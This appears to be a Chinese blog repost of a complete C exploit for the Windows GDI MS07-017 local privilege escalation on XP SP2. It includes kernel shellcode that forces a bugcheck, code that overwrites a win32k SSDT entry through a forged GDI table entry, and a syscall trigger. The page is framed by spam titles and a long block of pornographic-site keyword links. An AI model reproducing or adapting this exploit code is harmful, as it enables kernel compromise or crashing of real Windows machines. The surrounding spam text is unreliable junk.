青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

elva

MS Windows GDI Local Privilege Escalation Exploit (MS07-017)

#define _WIN32_WINNT 0x0500
#include <windows.h>
#include <shlwapi.h>
#include <stdio.h>

#pragma comment (lib, "user32.lib")
#pragma comment (lib, "gdi32.lib")
#pragma comment (lib, "shlwapi.lib")
#pragma comment (lib, "ntdll.lib")



/*
Here is a sploit for the GDI MS07-017 Local Privilege Escalation, presented during the last blackhat conferences
by Joel Ericksson. Modify the GdiTable of the current process and by calling good API's changean entry of the
win32k's SSDT by 0x2.

before :
lkd> dps bf998300 L 2
bf998300  bf934921 win32k!NtGdiAbortDoc
bf998304  bf94648d win32k!NtGdiAbortPath

after :
lkd> dps bf998300 L 2
bf998300  00000002
bf998304  bf94648d win32k!NtGdiAbortPath

win32k.sys bDeleteBrush (called by DeleteObject)
mov     esi, [edx] ;esi=pKernelInfo
cmp     [esi+4], ebx ; ebx=0, we need [esi+4]>0
mov     eax, [edx+0Ch]
mov     [ebp+var_8], eax
ja      short loc_BF80C1E7 ;jump if [esi+4] > 0

loc_BF80C1E7:
mov     eax, [esi+24h]  ; [esi+24] = addr to hijack (here win32k SSDT)
mov     dword ptr [eax], 2 ; !!!!!

At 0x2 we allocate memory with NtAllocateVirtualMemory and we copy our payload.

Tested on windows xp sp2 french last updates (before MS07-017)

Coded by Ivanlef0u.
http://ivanlef0u.free.fr

ref:
http://www.Mcft.com/technet/security/bulletin/MS07-017.mspx
http://research.eeye.com/html/alerts/zeroday/20061106.html
http://projects.info-pull.com/mokb/MOKB-06-11-2006.html
https://www.blackhat.com/presentations/bh-eu-07/Eriksson-Janmar/Whitepaper/bh-eu-07-eriksson-WP.pdf
http://www.securityfocus.com/bid/20940/info
*/

typedef struct
{
   DWORD pKernelInfo;
   WORD  ProcessID;
   WORD  _nCount;
   WORD  nUpper;
   WORD  nType;
   DWORD pUserInfo;
} GDITableEntry;

typedef enum _SECTION_INFORMATION_CLASS {
SectionBasicInformation,
SectionImageInformation
}SECTION_INFORMATION_CLASS;

typedef struct _SECTION_BASIC_INFORMATION { // Information Class 0
PVOID BaseAddress;
ULONG Attributes;
LARGE_INTEGER Size;
}SECTION_BASIC_INFORMATION, *PSECTION_BASIC_INFORMATION;

extern "C" ULONG __stdcall NtQuerySection(
   IN HANDLE SectionHandle,
   IN SECTION_INFORMATION_CLASS SectionInformationClass,
   OUT PVOID SectionInformation,
   IN ULONG SectionInformationLength,
   OUT PULONG ResultLength OPTIONAL
);

extern "C" ULONG __stdcall NtAllocateVirtualMemory(
   IN HANDLE ProcessHandle,
   IN OUT PVOID *BaseAddress,
   IN ULONG ZeroBits,
   IN OUT PULONG AllocationSize,
   IN ULONG AllocationType,
   IN ULONG Protect
);

typedef LONG NTSTATUS;

#define STATUS_SUCCESS  ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation=11,
} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_MODULE_INFORMATION { // Information Class 11
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

extern "C" NTSTATUS __stdcall  NtQuerySystemInformation(         
   IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
   IN OUT PVOID SystemInformation,
   IN ULONG SystemInformationLength,
   OUT PULONG ReturnLength OPTIONAL
);

extern "C" ULONG __stdcall RtlNtStatusToDosError(
  NTSTATUS Status
);


// generic kernel payload, reboot the b0x
unsigned char Shellcode[]={
0x60, //PUSHAD
0x55, //PUSH EBP

0x6A, 0x34,
0x5B,
0x64, 0x8B, 0x1B,
0x8B, 0x6B, 0x10,

0x8B, 0x45, 0x3C,
0x8B, 0x54, 0x05, 0x78,
0x03, 0xD5,
0x8B, 0x5A, 0x20,
0x03, 0xDD,
0x8B, 0x4A, 0x18,
0x49,
0x8B, 0x34, 0x8B,
0x03, 0xF5,
0x33, 0xFF,
0x33, 0xC0,
0xFC,
0xAC,
0x84, 0xC0,
0x74, 0x07,
0xC1, 0xCF, 0x0D,
0x03, 0xF8,
0xEB, 0xF4,
0x81, 0xFF, 0x1f, 0xaa ,0xf2 ,0xb9, //0xb9f2aa1f, KEBugCheck
0x75, 0xE1,
0x8B, 0x42, 0x24,
0x03, 0xC5,
0x66, 0x8B, 0x0C, 0x48,
0x8B, 0x42, 0x1C,
0x03, 0xC5,
0x8B, 0x04 ,0x88,
0x03, 0xC5,

0x33, 0xDB,
0xB3, 0xE5,
0x53,
0xFF, 0xD0,

0x5D, //POP EBP
0x61, //POPAD
0xC3 //RET
};   


ULONG GetWin32kBase()
{
   ULONG i, Count, Status, BytesRet;
   PSYSTEM_MODULE_INFORMATION pSMI;
   
   Status=NtQuerySystemInformation(SystemModuleInformation, pSMI, 0, &BytesRet); //allocation length
   if(Status!=STATUS_INFO_LENGTH_MISMATCH)
      printf("Error with NtQuerySystemInformation : 0x%x : %d \n", Status, RtlNtStatusToDosError(Status));
   
   pSMI=(PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, BytesRet);
   
   Status=NtQuerySystemInformation(SystemModuleInformation, pSMI, BytesRet, &BytesRet);
   
   if(Status!=STATUS_SUCCESS)
      printf("Error with NtQuerySystemInformation : 0x%x : %d \n", Status, RtlNtStatusToDosError(Status));
   
   /*
   The data returned to the SystemInformation buffer is a ULONG count of the number of
   handles followed immediately by an array of
   SYSTEM_MODULE_INFORMATION.
   */
   
   Count=*(PULONG)pSMI;
   pSMI=(PSYSTEM_MODULE_INFORMATION)((PUCHAR)pSMI+4);
   
   for(i=0; i<Count; i++)
   {   
      if(StrStr((pSMI+i)->ImageName, "win32k.sys"))
         return (ULONG)(pSMI+i)->Base;
   }
   
   HeapFree(GetProcessHeap(), HEAP_NO_SERIALIZE, pSMI);
   
   return 0;   
}   



   
ULONG buff[500]={0};
   
int main(int argc, char* argv[])
{
   ULONG i, PID, Status, Old;
   LPVOID lpMapAddress=NULL;
   HANDLE hMapFile=(HANDLE)0x10;
   GDITableEntry *gdiTable;
   SECTION_BASIC_INFORMATION SBI;
   WORD Upr;
   ULONG Size=0x1000;
   PVOID Addr=(PVOID)0x2;
   
   printf("Windows GDI MS07-017 Local Privilege Escalation Exploit\nBy Ivanlef0u\n"
   "http://ivanlef0u.free.fr\n"
   "Be MAD!\n");
   
   //allocate memory at addresse 0x2
    Status=NtAllocateVirtualMemory((HANDLE)-1, &Addr, 0, &Size, MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
    if(Status)
       printf("Error with NtAllocateVirtualMemory : 0x%x\n", Status);
    else
       printf("Addr : 0x%x OKAY\n", Addr);   
   
   memcpy(Addr, Shellcode, sizeof(Shellcode));
   


    printf("win32.sys base : 0x%x\n", GetWin32kBase());
   
   ULONG Win32kSST=GetWin32kBase()+0x198300; //range between win32k imagebase and it's SSDT
   printf("SSDT entry : 0x%x\n", Win32kSST); //win32k!NtGdiAbortDoc
   
   
   
   HBRUSH hBr;
   hBr=CreateSolidBrush(0);

   Upr=(WORD)((DWORD)hBr>>16);
   printf("0x%x\n", Upr);

   while(!lpMapAddress)
   {
      hMapFile=(HANDLE)((ULONG)hMapFile+1);
      lpMapAddress=MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS, 0, 0, 0);
   }

   if(lpMapAddress==NULL)
   {
      printf("Error with MapViewOfFile : %d\n", GetLastError());
      return 0;
   }

   Status=NtQuerySection(hMapFile, SectionBasicInformation, &SBI, sizeof(SECTION_BASIC_INFORMATION), 0);
   if (Status) //!=STATUS_SUCCESS (0)
   {
      printf("Error with NtQuerySection (SectionBasicInformation) : 0x%x\n", Status);
      return 0;
   }

   printf("Handle value : %x\nMapped address : 0x%x\nSection size : 0x%x\n\n", hMapFile, lpMapAddress, SBI.Size.QuadPart);
   gdiTable=(GDITableEntry *)lpMapAddress;
   PID=GetCurrentProcessId();
   
   for (i=0; i<SBI.Size.QuadPart; i+=sizeof(GDITableEntry))
   {
      if(gdiTable->ProcessID==PID && gdiTable->nUpper==Upr) //only our GdiTable and brush
      {   

         printf("gdiTable : 0x%x\n", gdiTable);
         printf("pKernelInfo : 0x%x\n", gdiTable->pKernelInfo);
         printf("ProcessID : %d\n", gdiTable->ProcessID);
         printf("_nCount : %d\n", gdiTable->_nCount);
         printf("nUpper : 0x%x\n", gdiTable->nUpper);
         printf("nType : 0x%x\n", gdiTable->nType );
         printf("pUserInfo : 0x%x\n\n", gdiTable->pUserInfo);
         
         Old=gdiTable->pKernelInfo;
      
         gdiTable->pKernelInfo=(ULONG)buff; //crafted buff
         break;
      }
      gdiTable++;
   }

   if(!DeleteObject(hBr))
      printf("Error with DeleteObject : %d\n", GetLastError());
   else
      printf("Done\n");

   printf("Buff : 0x%x\n", buff);
   memset(buff, 0x90, sizeof(buff));
   
    buff[0]=0x1; //!=0
    buff[0x24/4]=Win32kSST; //syscall to modifY
   buff[0x4C/4]=0x804D7000; //kernel base, just for avoiding bad mem ptr

    if(!DeleteObject(hBr))
      printf("Error with DeleteObject : %d\n", GetLastError());   
      
   gdiTable->pKernelInfo=Old; //restore old value
   
   /*   
   lkd> uf GDI32!NtGdiAbortDoc
   GDI32!NtGdiAbortDoc:
   77f3073a b800100000      mov     eax,1000h
   77f3073f ba0003fe7f      mov     edx,offset SharedUserData!SystemCallStub (7ffe0300)
   77f30744 ff12            call    dword ptr [edx]
   77f30746 c20400          ret     4
   */

   __asm
   {
      mov eax, 0x1000
      mov edx,0x7ffe0300
      call dword ptr [edx]   
   }
   
   return 0;
}

download

posted on 2007-05-08 16:49 葉子 閱讀(792) 評論(0)  編輯 收藏 引用 所屬分類: 網絡安全

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            在线一区免费观看| 午夜在线成人av| 久久se精品一区二区| 欧美sm重口味系列视频在线观看| 欧美成人午夜77777| 午夜精品国产更新| 亚洲欧美成人精品| 欧美一区二区三区久久精品茉莉花 | 美女诱惑一区| 噜噜噜在线观看免费视频日韩| 久久精品av麻豆的观看方式 | 亚洲精品资源| 国产精品国产a级| 极品尤物av久久免费看| 欧美二区在线| 在线视频你懂得一区二区三区| 亚洲精品永久免费| 亚洲欧美视频| 欧美成人黄色小视频| 欧美精品成人一区二区在线观看| 欧美精品少妇一区二区三区| 欧美特黄a级高清免费大片a级| 国产精品草莓在线免费观看| 国产一区二区三区高清在线观看| 亚洲电影在线看| 欧美亚洲一区二区在线| 午夜国产精品视频| 亚洲在线1234| 国产日产欧产精品推荐色| 91久久中文| 亚洲精品少妇| 午夜精品久久久久久久99樱桃 | 欧美制服丝袜第一页| 久久久久久久一区二区| 亚洲电影免费观看高清完整版| 一级成人国产| 欧美成人激情视频| 国产欧美va欧美va香蕉在| 最近中文字幕mv在线一区二区三区四区| 亚洲中午字幕| 欧美高清在线一区| 一区二区三区免费网站| 久久综合狠狠| 国产精品久久久一区二区| 亚洲伊人久久综合| 亚洲第一主播视频| 亚洲欧美卡通另类91av| 一本一本久久a久久精品牛牛影视| 国产日本欧美一区二区三区在线| 亚洲国产欧美一区二区三区同亚洲| 亚洲精品自在在线观看| 欧美高清视频在线| 欧美亚洲专区| 欧美伦理a级免费电影| 韩国三级电影一区二区| 亚洲欧美视频| 99ri日韩精品视频| 欧美伦理在线观看| 1769国内精品视频在线播放| 国产一区二区精品久久91| 亚洲国产精品成人综合色在线婷婷 | 99国产精品国产精品久久| 亚洲欧美日韩一区二区三区在线观看 | 欧美成人网在线| 久久精品国产久精国产爱 | 亚洲美洲欧洲综合国产一区| 欧美成人按摩| 久久亚洲私人国产精品va媚药| 精久久久久久| 久久久免费精品| 久久精品视频网| 国内精品视频久久| 欧美chengren| 欧美 日韩 国产 一区| 最新国产拍偷乱拍精品| 亚洲黄色免费网站| 久久综合狠狠综合久久综合88| 怡红院精品视频在线观看极品| 久久久久一区二区三区四区| 午夜精品久久99蜜桃的功能介绍| 国产一区二区三区免费观看| 久久九九免费视频| 一区二区三区中文在线观看 | 欧美黄色一区| 中文国产一区| 亚洲人被黑人高潮完整版| 性欧美8khd高清极品| 国产色综合久久| 欧美91大片| 欧美午夜在线一二页| 久久精品国产亚洲一区二区三区 | 欧美日韩久久不卡| 先锋影音一区二区三区| 久久久久久久国产| 一本大道久久精品懂色aⅴ | 欧美国产视频在线| 乱码第一页成人| 99精品视频网| 性欧美1819sex性高清| 亚洲国产日韩在线| 一区二区三区导航| 狠狠做深爱婷婷久久综合一区 | 亚洲国产成人不卡| 国产精品第一区| 欧美fxxxxxx另类| 国产精品毛片高清在线完整版| 久久香蕉国产线看观看av| 欧美久久久久免费| 久久亚洲欧美| 国产精品久久久久aaaa| 亚洲第一福利视频| 国产三级欧美三级日产三级99| 亚洲第一福利在线观看| 国产一区二区三区精品欧美日韩一区二区三区 | 欧美激情亚洲国产| 国产精品自拍三区| 亚洲精选一区| 亚洲黑丝一区二区| 欧美一区二区精品| 亚洲视频一区二区免费在线观看| 久久久91精品国产| 欧美在线观看一区二区三区| 欧美日本亚洲| 亚洲电影av在线| 在线观看欧美黄色| 欧美在线观看视频一区二区三区| 亚洲一区二区三区中文字幕 | 久久久视频精品| 久久精品二区亚洲w码| 国产精品免费看片| 亚洲美女色禁图| 亚洲精品无人区| 欧美v日韩v国产v| 欧美成人精品1314www| 在线观看成人网| 久久久久国产免费免费| 久久精品国产欧美激情| 国产日本精品| 欧美一区二区三区播放老司机| 欧美一区二区三区啪啪| 国产精品人人做人人爽| 亚洲亚洲精品在线观看| 亚洲女同精品视频| 欧美视频一区二区| 亚洲在线视频| 久久久久久亚洲综合影院红桃| 国产老肥熟一区二区三区| 午夜国产欧美理论在线播放| 午夜精品久久久久99热蜜桃导演| 国产精品日韩久久久| 亚洲亚洲精品在线观看| 久久国产精品亚洲77777| 国产一区欧美| 久久影院午夜片一区| 亚洲免费视频成人| 亚洲人成网站色ww在线| 亚洲国产成人一区| 欧美高清视频一二三区| 亚洲理伦电影| 欧美一级专区免费大片| 狠狠色狠狠色综合日日五| 久久国内精品视频| 亚洲国产黄色片| 亚洲一区二区三区影院| 国产一区999| 欧美chengren| 在线一区二区三区四区| 久久国产一区二区| 亚洲高清视频中文字幕| 欧美午夜国产| 久久黄金**| 亚洲精品在线视频观看| 久久精品91久久香蕉加勒比| 91久久亚洲| 国产精品男人爽免费视频1| 久久久国产精品一区二区中文| 亚洲国产毛片完整版| 欧美一区二区观看视频| 亚洲国产成人精品久久久国产成人一区| 欧美理论视频| 久久久成人网| 中文亚洲字幕| 亚洲高清免费在线| 久久国产精品免费一区| 亚洲视频 欧洲视频| 欧美一区=区| 国产欧美一区二区三区视频| 午夜精品久久久久久久久久久久| 亚洲欧美日韩在线播放| 蜜桃久久av一区| 亚洲视频一区二区在线观看| 伊人久久亚洲热| 国产精品视频免费| 欧美国产激情二区三区| 欧美在线一区二区| 一区二区三区欧美| 亚洲国产精品女人久久久| 久久国产精品99精品国产| av成人免费在线观看| 亚洲国产精品va在线观看黑人 |